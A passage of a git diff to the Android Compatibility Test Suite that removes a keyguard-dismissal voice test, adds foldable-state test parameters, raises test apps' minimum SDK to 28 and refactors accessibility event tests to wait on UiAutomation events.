-import android.app.KeyguardManager.KeyguardDismissCallback;
-import android.content.Context;
-import android.os.Bundle;
-import android.util.Log;
-import android.view.WindowManager.LayoutParams;
-
-/**
- * This activity when in foreground sets the FLAG_DISMISS_KEYGUARD.
- * It then confirms that the keyguard was successfully dismissed
- * and logs a string to logcat on success.
- */
-public class TrustedVoiceActivity extends Activity {
-
-  private static final String TAG = TrustedVoiceActivity.class.getSimpleName();
-  /**
-   * The test string to log.
-   */
-  private static final String TEST_STRING = "TrustedVoiceTestString";
-
-  private KeyguardManager mkeyguardManager;
-
-  @Override
-  public void onCreate(Bundle icicle) {
-    super.onCreate(icicle);
-    mkeyguardManager =
-            (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
-
-    // Unlock the keyguard.
-    getWindow().addFlags(LayoutParams.FLAG_TURN_SCREEN_ON
-            | LayoutParams.FLAG_KEEP_SCREEN_ON);
-    mkeyguardManager.requestDismissKeyguard(this, null);
-  }
-
-  @Override
-  public void onWindowFocusChanged(boolean hasFocus) {
-    super.onWindowFocusChanged(hasFocus);
-    if (hasFocus) {
-      // Confirm that the keyguard was successfully unlocked.
-      if (!mkeyguardManager.isKeyguardLocked()) {
-        // Log the test string.
-        Log.i(TAG, TEST_STRING);
-      }
-    }
-  }
-}
-
diff --git a/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java b/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java
deleted file mode 100644
index 9420124..0000000
--- a/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java
+++ /dev/null
@@ -1,134 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.trustedvoice.cts;
-
-import com.android.tradefed.testtype.DeviceTestCase;
-
-import java.io.File;
-import java.lang.String;
-import java.util.Scanner;
-
-/**
- * Test to check the APK logs to Logcat.
- * This test first locks the device screen and then runs the associated app to run the test.
- *
- * When this test builds, it also builds {@see android.trustedvoice.app.TrustedVoiceActivity}
- * into an APK which it then installs at runtime. TrustedVoiceActivity sets the
- * FLAG_DISMISS_KEYGUARD, prints a message to Logcat and then gets uninstalled.
- */
-public class TrustedVoiceHostTest extends DeviceTestCase {
-
-    /**
-     * The package name of the APK.
-     */
-    private static final String PACKAGE = "android.trustedvoice.app";
-
-    /**
-     * Lock screen key event code.
-     */
-    private static final int SLEEP_KEYEVENT = 223;
-
-    /**
-     * Lock screen key event code.
-     */
-    private static final int AWAKE_KEYEVENT = 224;
-
-    /**
-     * The file name of the APK.
-     */
-    private static final String APK = "CtsTrustedVoiceApp.apk";
-
-    /**
-     * The class name of the main activity in the APK.
-     */
-    private static final String CLASS = "TrustedVoiceActivity";
-
-    /**
-     * The command to launch the main activity.
-     */
-    private static final String START_COMMAND = String.format(
-            "am start -W -a android.intent.action.MAIN -n %s/%s.%s", PACKAGE, PACKAGE, CLASS);
-
-    /**
-     * The command to put the device to sleep.
-     */
-    private static final String SLEEP_COMMAND = String.format(
-            "input keyevent %d", SLEEP_KEYEVENT);
-
-    /**
-     * The command to wake the device up.
-     */
-    private static final String AWAKE_COMMAND = String.format(
-            "input keyevent %d", AWAKE_KEYEVENT);
-
-    /**
-     * The command to dismiss the keyguard.
-     */
-    private static final String DISMISS_KEYGUARD_COMMAND = "wm dismiss-keyguard";
-
-    /**
-     * The test string to look for.
-     */
-    private static final String TEST_STRING = "TrustedVoiceTestString";
-
-    /**
-     * Tests the app successfully unlocked the device.
-     *
-     * @throws Exception
-     */
-    public void testUnlock() throws Exception {
-        Scanner in = null;
-        try {
-            // Clear logcat.
-            getDevice().executeAdbCommand("logcat", "-c");
-            // Lock the device
-            getDevice().executeShellCommand(SLEEP_COMMAND);
-            // Add a delay to allow the device to go to sleep.
-            Thread.sleep(1000);
-            // Start the APK and wait for it to complete.
-            getDevice().executeShellCommand(START_COMMAND);
-            // Adding delay for OEM specific features which could delay the time of printing the
-            // test log. Please refer to b/62075150 for additional details.
-            Thread.sleep(1000);
-            // Dump logcat.
-            String logs = getDevice().executeAdbCommand(
-                    "logcat", "-v", "brief", "-d", CLASS + ":I", "*:S");
-            // Search for string.
-            in = new Scanner(logs);
-            String testString = "";
-
-            while (in.hasNextLine()) {
-                String line = in.nextLine();
-                if(line.contains(TEST_STRING)) {
-                    // Retrieve the test string.
-                    testString = line.split(":")[1].trim();
-                    break;
-                }
-            }
-            // Assert the logged string matches the test string.
-            assertNotNull("Test string must not be null", testString);
-            assertEquals("Test string does not match", TEST_STRING, testString);
-        } finally {
-            if (in != null) {
-                in.close();
-            }
-            // Unlock the device
-            getDevice().executeShellCommand(AWAKE_COMMAND);
-            getDevice().executeShellCommand(DISMISS_KEYGUARD_COMMAND);
-        }
-    }
-}
diff --git a/hostsidetests/tzdata/AndroidTest.xml b/hostsidetests/tzdata/AndroidTest.xml
index 93072e9..29c7891 100644
--- a/hostsidetests/tzdata/AndroidTest.xml
+++ b/hostsidetests/tzdata/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/usage/AndroidTest.xml b/hostsidetests/usage/AndroidTest.xml
index a29a7b2..3ec05ad 100644
--- a/hostsidetests/usage/AndroidTest.xml
+++ b/hostsidetests/usage/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAppUsageTestApp.apk" />
diff --git a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideMultipleProfileTest.java b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideMultipleProfileTest.java
index 5498737..1d54c1f 100644
--- a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideMultipleProfileTest.java
+++ b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideMultipleProfileTest.java
@@ -105,7 +105,11 @@
             // before tests are executed.
             // See b/178367954.
             File file = getTestInformation().getDependencyFile(DEVICE_TEST_APK, true);
-            String output = mDevice.installPackageForUser(file, true, false, userId);
+
+            // --dont-kill is to avoid the test app being killed if ActivityManager is slow to
+            // respond to the install event.
+            // See b/202824003.
+            String output = mDevice.installPackageForUser(file, true, false, userId, "--dont-kill");
             if (output != null) {
                 stopAndRemoveUser(userId);
                 Assert.fail("Failed to install test apk " + output);
diff --git a/libs/install/Android.bp b/libs/install/Android.bp
index e344bdd..4e2c335 100644
--- a/libs/install/Android.bp
+++ b/libs/install/Android.bp
@@ -20,27 +20,27 @@
 android_test_helper_app {
     name: "TestAppAv1",
     manifest: "testapp/Av1.xml",
-    sdk_version: "current",
     srcs: ["testapp/src/**/*.java"],
     resource_dirs: ["testapp/res_v1"],
     apex_available: [ "com.android.apex.apkrollback.test_v1" ],
+    min_sdk_version: "28",
 }
 
 android_test_helper_app {
     name: "TestAppAv2",
     manifest: "testapp/Av2.xml",
-    sdk_version: "current",
     srcs: ["testapp/src/**/*.java"],
     resource_dirs: ["testapp/res_v2"],
     apex_available: [ "com.android.apex.apkrollback.test_v2" ],
+    min_sdk_version: "28",
 }
 
 android_test_helper_app {
     name: "TestAppAv3",
     manifest: "testapp/Av3.xml",
-    sdk_version: "current",
     srcs: ["testapp/src/**/*.java"],
     resource_dirs: ["testapp/res_v3"],
+    min_sdk_version: "28",
 }
 
 android_test_helper_app {
@@ -55,41 +55,41 @@
 android_test_helper_app {
     name: "TestAppBv1",
     manifest: "testapp/Bv1.xml",
-    sdk_version: "current",
     srcs: ["testapp/src/**/*.java"],
     resource_dirs: ["testapp/res_v1"],
+    min_sdk_version: "28",
 }
 
 android_test_helper_app {
     name: "TestAppBv2",
     manifest: "testapp/Bv2.xml",
-    sdk_version: "current",
     srcs: ["testapp/src/**/*.java"],
     resource_dirs: ["testapp/res_v2"],
+    min_sdk_version: "28",
 }
 
 android_test_helper_app {
     name: "TestAppBv3",
     manifest: "testapp/Bv3.xml",
-    sdk_version: "current",
     srcs: ["testapp/src/**/*.java"],
     resource_dirs: ["testapp/res_v3"],
+    min_sdk_version: "28",
 }
 
 android_test_helper_app {
     name: "TestAppCv1",
     manifest: "testapp/Cv1.xml",
-    sdk_version: "current",
     srcs: ["testapp/src/**/*.java"],
     resource_dirs: ["testapp/res_v1"],
+    min_sdk_version: "28",
 }
 
 android_test_helper_app {
     name: "TestAppCv2",
     manifest: "testapp/Cv2.xml",
-    sdk_version: "current",
     srcs: ["testapp/src/**/*.java"],
     resource_dirs: ["testapp/res_v2"],
+    min_sdk_version: "28",
 }
 
 android_test_helper_app {
diff --git a/libs/install/testapp/Av1.xml b/libs/install/testapp/Av1.xml
index 0d0a392..4be8285 100644
--- a/libs/install/testapp/Av1.xml
+++ b/libs/install/testapp/Av1.xml
@@ -20,7 +20,7 @@
      android:versionName="1.0">
 
 
-    <uses-sdk android:minSdkVersion="19"/>
+    <uses-sdk android:minSdkVersion="28"/>
 
     <application android:label="Test App A1">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
diff --git a/libs/install/testapp/Av2.xml b/libs/install/testapp/Av2.xml
index d92cfd0..118ed24 100644
--- a/libs/install/testapp/Av2.xml
+++ b/libs/install/testapp/Av2.xml
@@ -20,7 +20,7 @@
      android:versionName="2.0">
 
 
-    <uses-sdk android:minSdkVersion="19"/>
+    <uses-sdk android:minSdkVersion="28"/>
 
     <application android:label="Test App A2">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
diff --git a/libs/install/testapp/Av3.xml b/libs/install/testapp/Av3.xml
index b5826d1..e80d83d 100644
--- a/libs/install/testapp/Av3.xml
+++ b/libs/install/testapp/Av3.xml
@@ -20,7 +20,7 @@
      android:versionName="3.0">
 
 
-    <uses-sdk android:minSdkVersion="19"/>
+    <uses-sdk android:minSdkVersion="28"/>
 
     <application android:label="Test App A3">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
diff --git a/libs/install/testapp/Bv1.xml b/libs/install/testapp/Bv1.xml
index 9c9b9d3..c6e5375 100644
--- a/libs/install/testapp/Bv1.xml
+++ b/libs/install/testapp/Bv1.xml
@@ -20,7 +20,7 @@
      android:versionName="1.0">
 
 
-    <uses-sdk android:minSdkVersion="19"/>
+    <uses-sdk android:minSdkVersion="28"/>
 
     <application android:label="Test App B1">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
diff --git a/libs/install/testapp/Bv2.xml b/libs/install/testapp/Bv2.xml
index a184b0e..8d7e4dd 100644
--- a/libs/install/testapp/Bv2.xml
+++ b/libs/install/testapp/Bv2.xml
@@ -20,7 +20,7 @@
      android:versionName="2.0">
 
 
-    <uses-sdk android:minSdkVersion="19"/>
+    <uses-sdk android:minSdkVersion="28"/>
 
     <application android:label="Test App B2">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
diff --git a/libs/install/testapp/Bv3.xml b/libs/install/testapp/Bv3.xml
index 61ef4e70..b0466a2 100644
--- a/libs/install/testapp/Bv3.xml
+++ b/libs/install/testapp/Bv3.xml
@@ -20,7 +20,7 @@
      android:versionName="3.0">
 
 
-    <uses-sdk android:minSdkVersion="19"/>
+    <uses-sdk android:minSdkVersion="28"/>
 
     <application android:label="Test App B3">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
diff --git a/libs/install/testapp/Cv1.xml b/libs/install/testapp/Cv1.xml
index 63ca6dc..bbf9154 100644
--- a/libs/install/testapp/Cv1.xml
+++ b/libs/install/testapp/Cv1.xml
@@ -21,7 +21,7 @@
      android:versionName="1.0">
 
 
-    <uses-sdk android:minSdkVersion="19"/>
+    <uses-sdk android:minSdkVersion="28"/>
 
     <application android:label="Test App C1">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
diff --git a/libs/install/testapp/Cv2.xml b/libs/install/testapp/Cv2.xml
index 93e0bfd..0d98b63 100644
--- a/libs/install/testapp/Cv2.xml
+++ b/libs/install/testapp/Cv2.xml
@@ -21,7 +21,7 @@
      android:versionName="2.0">
 
 
-    <uses-sdk android:minSdkVersion="19"/>
+    <uses-sdk android:minSdkVersion="28"/>
 
     <application android:label="Test App C2"
          android:rollbackDataPolicy="wipe">
diff --git a/tests/AlarmManager/AndroidTest.xml b/tests/AlarmManager/AndroidTest.xml
index a2f4521..161a887 100644
--- a/tests/AlarmManager/AndroidTest.xml
+++ b/tests/AlarmManager/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/BlobStore/AndroidTest.xml b/tests/BlobStore/AndroidTest.xml
index 81f1765..fcd6cdb 100644
--- a/tests/BlobStore/AndroidTest.xml
+++ b/tests/BlobStore/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
index 4d582a1..8ab63ca 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
@@ -1165,6 +1165,10 @@
         if (!on && mHasWifi) {
             // Force wifi to connect ASAP.
             mUiDevice.executeShellCommand("svc wifi enable");
+            waitUntil("Failed to enable Wifi", 30 /* seconds */,
+                    () -> {
+                        return mWifiManager.isWifiEnabled();
+                    });
             //noinspection deprecation
             SystemUtil.runWithShellPermissionIdentity(mWifiManager::reconnect,
                     android.Manifest.permission.NETWORK_SETTINGS);
diff --git a/tests/accessibility/AndroidTest.xml b/tests/accessibility/AndroidTest.xml
index 6fe3f3b..0cf252a 100644
--- a/tests/accessibility/AndroidTest.xml
+++ b/tests/accessibility/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="cmd accessibility set-bind-instant-service-allowed true" />
         <option name="teardown-command" value="cmd accessibility set-bind-instant-service-allowed false" />
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
index 9b7951f..8c1b484 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
@@ -18,23 +18,31 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertThrows;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
 import android.app.Activity;
+import android.app.Instrumentation;
+import android.app.UiAutomation;
 import android.content.Context;
 import android.os.Message;
 import android.os.Parcel;
 import android.platform.test.annotations.Presubmit;
+import android.text.SpannableString;
 import android.text.TextUtils;
+import android.text.style.LocaleSpan;
+import android.view.Display;
 import android.view.View;
 import android.view.accessibility.AccessibilityEvent;
-import android.view.accessibility.AccessibilityManager;
 import android.view.accessibility.AccessibilityNodeInfo;
 import android.view.accessibility.AccessibilityRecord;
 import android.widget.LinearLayout;
+import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.SmallTest;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
@@ -49,45 +57,60 @@
 
 import java.util.ArrayList;
 import java.util.List;
+import java.util.Locale;
+import java.util.concurrent.TimeoutException;
 
-/**
- * Class for testing {@link AccessibilityEvent}.
- */
+/** Class for testing {@link AccessibilityEvent}. */
 @Presubmit
 @RunWith(AndroidJUnit4.class)
 public class AccessibilityEventTest {
+    private static final long IDLE_TIMEOUT_MS = 500;
+    private static final long DEFAULT_TIMEOUT_MS = 1000;
+
+    // From ViewConfiguration.SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS
+    private static final long SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS = 100;
 
     private EventReportingLinearLayout mParentView;
     private View mChildView;
-    private AccessibilityManager mAccessibilityManager;
+    private TextView mTextView;
+    private String mPackageName;
 
+    private static Instrumentation sInstrumentation;
+    private static UiAutomation sUiAutomation;
     private final ActivityTestRule<DummyActivity> mActivityRule =
             new ActivityTestRule<>(DummyActivity.class, false, false);
     private final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
             new AccessibilityDumpOnFailureRule();
     private InstrumentedAccessibilityServiceTestRule<SpeakingAccessibilityService>
-            mInstrumentedAccessibilityServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
-            SpeakingAccessibilityService.class, false);
+            mInstrumentedAccessibilityServiceRule =
+                    new InstrumentedAccessibilityServiceTestRule<>(
+                            SpeakingAccessibilityService.class, false);
 
     @Rule
-    public final RuleChain mRuleChain = RuleChain
-            .outerRule(mActivityRule)
-            .around(mInstrumentedAccessibilityServiceRule)
-            .around(mDumpOnFailureRule);
+    public final RuleChain mRuleChain =
+            RuleChain.outerRule(mActivityRule)
+                    .around(mInstrumentedAccessibilityServiceRule)
+                    .around(mDumpOnFailureRule);
 
     @Before
     public void setUp() throws Throwable {
         final Activity activity = mActivityRule.launchActivity(null);
-        mAccessibilityManager = activity.getSystemService(AccessibilityManager.class);
+        mPackageName = activity.getApplicationContext().getPackageName();
+        sInstrumentation = InstrumentationRegistry.getInstrumentation();
+        sUiAutomation = sInstrumentation.getUiAutomation();
         mInstrumentedAccessibilityServiceRule.enableService();
-        mActivityRule.runOnUiThread(() -> {
-            final LinearLayout grandparent = new LinearLayout(activity);
-            activity.setContentView(grandparent);
-            mParentView = new EventReportingLinearLayout(activity);
-            mChildView = new View(activity);
-            grandparent.addView(mParentView);
-            mParentView.addView(mChildView);
-        });
+        mActivityRule.runOnUiThread(
+                () -> {
+                    final LinearLayout grandparent = new LinearLayout(activity);
+                    activity.setContentView(grandparent);
+                    mParentView = new EventReportingLinearLayout(activity);
+                    mChildView = new View(activity);
+                    mTextView = new TextView(activity);
+                    grandparent.addView(mParentView);
+                    mParentView.addView(mChildView);
+                    mParentView.addView(mTextView);
+                });
+        sUiAutomation.waitForIdle(IDLE_TIMEOUT_MS, DEFAULT_TIMEOUT_MS);
     }
 
     private static class EventReportingLinearLayout extends LinearLayout {
@@ -106,52 +129,84 @@
 
     @Test
     public void testScrollEvent() throws Exception {
-        mChildView.scrollTo(0, 100);
-        Thread.sleep(1000);
-        scrollEventFilter.assertReceivedEventCount(1);
+        sUiAutomation.executeAndWaitForEvent(
+                () -> mChildView.scrollTo(0, 100), new ScrollEventFilter(1), DEFAULT_TIMEOUT_MS);
     }
 
     @Test
     public void testScrollEventBurstCombined() throws Exception {
-        mChildView.scrollTo(0, 100);
-        mChildView.scrollTo(0, 125);
-        mChildView.scrollTo(0, 150);
-        mChildView.scrollTo(0, 175);
-        Thread.sleep(1000);
-        scrollEventFilter.assertReceivedEventCount(1);
+        sUiAutomation.executeAndWaitForEvent(
+                () -> {
+                    mChildView.scrollTo(0, 100);
+                    mChildView.scrollTo(0, 125);
+                    mChildView.scrollTo(0, 150);
+                    mChildView.scrollTo(0, 175);
+                },
+                new ScrollEventFilter(1),
+                DEFAULT_TIMEOUT_MS);
     }
 
     @Test
     public void testScrollEventsDeliveredInCorrectInterval() throws Exception {
-        mChildView.scrollTo(0, 25);
-        mChildView.scrollTo(0, 50);
-        mChildView.scrollTo(0, 100);
-        Thread.sleep(150);
-        mChildView.scrollTo(0, 150);
-        mChildView.scrollTo(0, 175);
-        Thread.sleep(50);
-        mChildView.scrollTo(0, 200);
-        Thread.sleep(1000);
-        scrollEventFilter.assertReceivedEventCount(2);
+        sUiAutomation.executeAndWaitForEvent(
+                () -> {
+                    try {
+                        mChildView.scrollTo(0, 25);
+                        mChildView.scrollTo(0, 50);
+                        mChildView.scrollTo(0, 100);
+                        Thread.sleep(SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS * 2);
+                        mChildView.scrollTo(0, 150);
+                        mChildView.scrollTo(0, 175);
+                        Thread.sleep(SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS / 2);
+                        mChildView.scrollTo(0, 200);
+                    } catch (InterruptedException e) {
+                        fail("Interrupted while dispatching event bursts.");
+                    }
+                },
+                new ScrollEventFilter(2),
+                DEFAULT_TIMEOUT_MS);
     }
 
-    private AccessibilityEventFilter scrollEventFilter = new AccessibilityEventFilter() {
-        public boolean pass(AccessibilityEvent event) {
-            return event.getEventType() == AccessibilityEvent.TYPE_VIEW_SCROLLED;
+    class ScrollEventFilter extends AccessibilityEventFilter {
+        private int mCount = 0;
+        private int mTargetCount;
+
+        ScrollEventFilter(int count) {
+            mTargetCount = count;
         }
-    };
+
+        public boolean accept(AccessibilityEvent event) {
+            if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_SCROLLED) {
+                mCount += 1;
+                mEvents.add(event);
+                return mCount >= mTargetCount;
+            }
+            return false;
+        }
+    }
 
     @Test
     public void testScrollEventsClearedOnDetach() throws Throwable {
-        mChildView.scrollTo(0, 25);
-        mChildView.scrollTo(5, 50);
-        mChildView.scrollTo(7, 100);
-        mActivityRule.runOnUiThread(() -> {
-            mParentView.removeView(mChildView);
-            mParentView.addView(mChildView);
-        });
-        mChildView.scrollTo(0, 150);
-        Thread.sleep(1000);
+        ScrollEventFilter scrollEventFilter = new ScrollEventFilter(1);
+        sUiAutomation.executeAndWaitForEvent(
+                () -> {
+                    mChildView.scrollTo(0, 25);
+                    mChildView.scrollTo(5, 50);
+                    mChildView.scrollTo(7, 100);
+                },
+                scrollEventFilter,
+                DEFAULT_TIMEOUT_MS);
+        mActivityRule.runOnUiThread(
+                () -> {
+                    mParentView.removeView(mChildView);
+                    mParentView.addView(mChildView);
+                });
+        sUiAutomation.executeAndWaitForEvent(
+                () -> {
+                    mChildView.scrollTo(0, 150);
+                },
+                scrollEventFilter,
+                DEFAULT_TIMEOUT_MS);
         AccessibilityEvent event = scrollEventFilter.getLastEvent();
         assertEquals(-7, event.getScrollDeltaX());
         assertEquals(50, event.getScrollDeltaY());
@@ -159,10 +214,15 @@
 
     @Test
     public void testScrollEventsCaptureTotalDelta() throws Throwable {
-        mChildView.scrollTo(0, 25);
-        mChildView.scrollTo(5, 50);
-        mChildView.scrollTo(7, 100);
-        Thread.sleep(1000);
+        ScrollEventFilter scrollEventFilter = new ScrollEventFilter(1);
+        sUiAutomation.executeAndWaitForEvent(
+                () -> {
+                    mChildView.scrollTo(0, 25);
+                    mChildView.scrollTo(5, 50);
+                    mChildView.scrollTo(7, 100);
+                },
+                scrollEventFilter,
+                DEFAULT_TIMEOUT_MS);
         AccessibilityEvent event = scrollEventFilter.getLastEvent();
         assertEquals(7, event.getScrollDeltaX());
         assertEquals(100, event.getScrollDeltaY());
@@ -170,12 +230,24 @@
 
     @Test
     public void testScrollEventsClearDeltaAfterSending() throws Throwable {
-        mChildView.scrollTo(0, 25);
-        mChildView.scrollTo(5, 50);
-        mChildView.scrollTo(7, 100);
-        Thread.sleep(1000);
-        mChildView.scrollTo(0, 150);
-        Thread.sleep(1000);
+        ScrollEventFilter scrollEventFilter = new ScrollEventFilter(2);
+        sUiAutomation.executeAndWaitForEvent(
+                () -> {
+                    try {
+                        mChildView.scrollTo(0, 25);
+                        mChildView.scrollTo(5, 50);
+                        mChildView.scrollTo(7, 100);
+                        Thread.sleep(SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS * 2);
+                        mChildView.scrollTo(0, 25);
+                        mChildView.scrollTo(5, 50);
+                        mChildView.scrollTo(7, 100);
+                        mChildView.scrollTo(0, 150);
+                    } catch (InterruptedException e) {
+                        fail("Interrupted while dispatching event bursts.");
+                    }
+                },
+                scrollEventFilter,
+                DEFAULT_TIMEOUT_MS);
         AccessibilityEvent event = scrollEventFilter.getLastEvent();
         assertEquals(-7, event.getScrollDeltaX());
         assertEquals(50, event.getScrollDeltaY());
@@ -183,77 +255,100 @@
 
     @Test
     public void testStateEvent() throws Throwable {
-        sendStateDescriptionChangedEvent(mChildView);
-        Thread.sleep(1000);
-        stateDescriptionEventFilter.assertReceivedEventCount(1);
+        sUiAutomation.executeAndWaitForEvent(
+                () -> {
+                    sendStateDescriptionChangedEvent(mChildView);
+                },
+                new StateDescriptionEventFilter(1),
+                DEFAULT_TIMEOUT_MS);
     }
 
     @Test
     public void testStateEventBurstCombined() throws Throwable {
-        sendStateDescriptionChangedEvent(mChildView);
-        sendStateDescriptionChangedEvent(mChildView);
-        sendStateDescriptionChangedEvent(mChildView);
-        sendStateDescriptionChangedEvent(mChildView);
-        Thread.sleep(1000);
-        stateDescriptionEventFilter.assertReceivedEventCount(1);
+        sUiAutomation.executeAndWaitForEvent(
+                () -> {
+                    sendStateDescriptionChangedEvent(mChildView);
+                    sendStateDescriptionChangedEvent(mChildView);
+                    sendStateDescriptionChangedEvent(mChildView);
+                    sendStateDescriptionChangedEvent(mChildView);
+                },
+                new StateDescriptionEventFilter(1),
+                DEFAULT_TIMEOUT_MS);
     }
 
     @Test
     public void testStateEventsDeliveredInCorrectInterval() throws Throwable {
-        sendStateDescriptionChangedEvent(mChildView);
-        sendStateDescriptionChangedEvent(mChildView);
-        sendStateDescriptionChangedEvent(mChildView);
-        Thread.sleep(150);
-        sendStateDescriptionChangedEvent(mChildView);
-        sendStateDescriptionChangedEvent(mChildView);
-        Thread.sleep(50);
-        sendStateDescriptionChangedEvent(mChildView);
-        Thread.sleep(1000);
-        stateDescriptionEventFilter.assertReceivedEventCount(2);
+        sUiAutomation.executeAndWaitForEvent(
+                () -> {
+                    try {
+                        sendStateDescriptionChangedEvent(mChildView);
+                        sendStateDescriptionChangedEvent(mChildView);
+                        sendStateDescriptionChangedEvent(mChildView);
+                        Thread.sleep(SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS * 2);
+                        sendStateDescriptionChangedEvent(mChildView);
+                        sendStateDescriptionChangedEvent(mChildView);
+                        Thread.sleep(SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS / 2);
+                        sendStateDescriptionChangedEvent(mChildView);
+                    } catch (InterruptedException e) {
+                        fail("Interrupted while dispatching event bursts.");
+                    }
+                },
+                new StateDescriptionEventFilter(2),
+                DEFAULT_TIMEOUT_MS);
     }
 
     @Test
     public void testStateEventsHaveLastEventText() throws Throwable {
-        sendStateDescriptionChangedEvent(mChildView, "First state");
+        StateDescriptionEventFilter stateDescriptionEventFilter =
+                new StateDescriptionEventFilter(1);
         String expectedState = "Second state";
-        sendStateDescriptionChangedEvent(mChildView, expectedState);
-        Thread.sleep(1000);
+        sUiAutomation.executeAndWaitForEvent(
+                () -> {
+                    sendStateDescriptionChangedEvent(mChildView, "First state");
+                    sendStateDescriptionChangedEvent(mChildView, expectedState);
+                },
+                stateDescriptionEventFilter,
+                DEFAULT_TIMEOUT_MS);
         AccessibilityEvent event = stateDescriptionEventFilter.getLastEvent();
         assertEquals(expectedState, event.getText().get(0));
     }
 
-    private AccessibilityEventFilter stateDescriptionEventFilter = new AccessibilityEventFilter() {
-        public boolean pass(AccessibilityEvent event) {
-            return event.getContentChangeTypes()
-                    == AccessibilityEvent.CONTENT_CHANGE_TYPE_STATE_DESCRIPTION;
-        }
-    };
+    class StateDescriptionEventFilter extends AccessibilityEventFilter {
+        private int mCount;
+        private int mTargetCount;
 
-    private abstract class AccessibilityEventFilter {
-        abstract boolean pass(AccessibilityEvent event);
+        StateDescriptionEventFilter(int count) {
+            mTargetCount = count;
+        }
+
+        public boolean accept(AccessibilityEvent event) {
+            if (event.getContentChangeTypes()
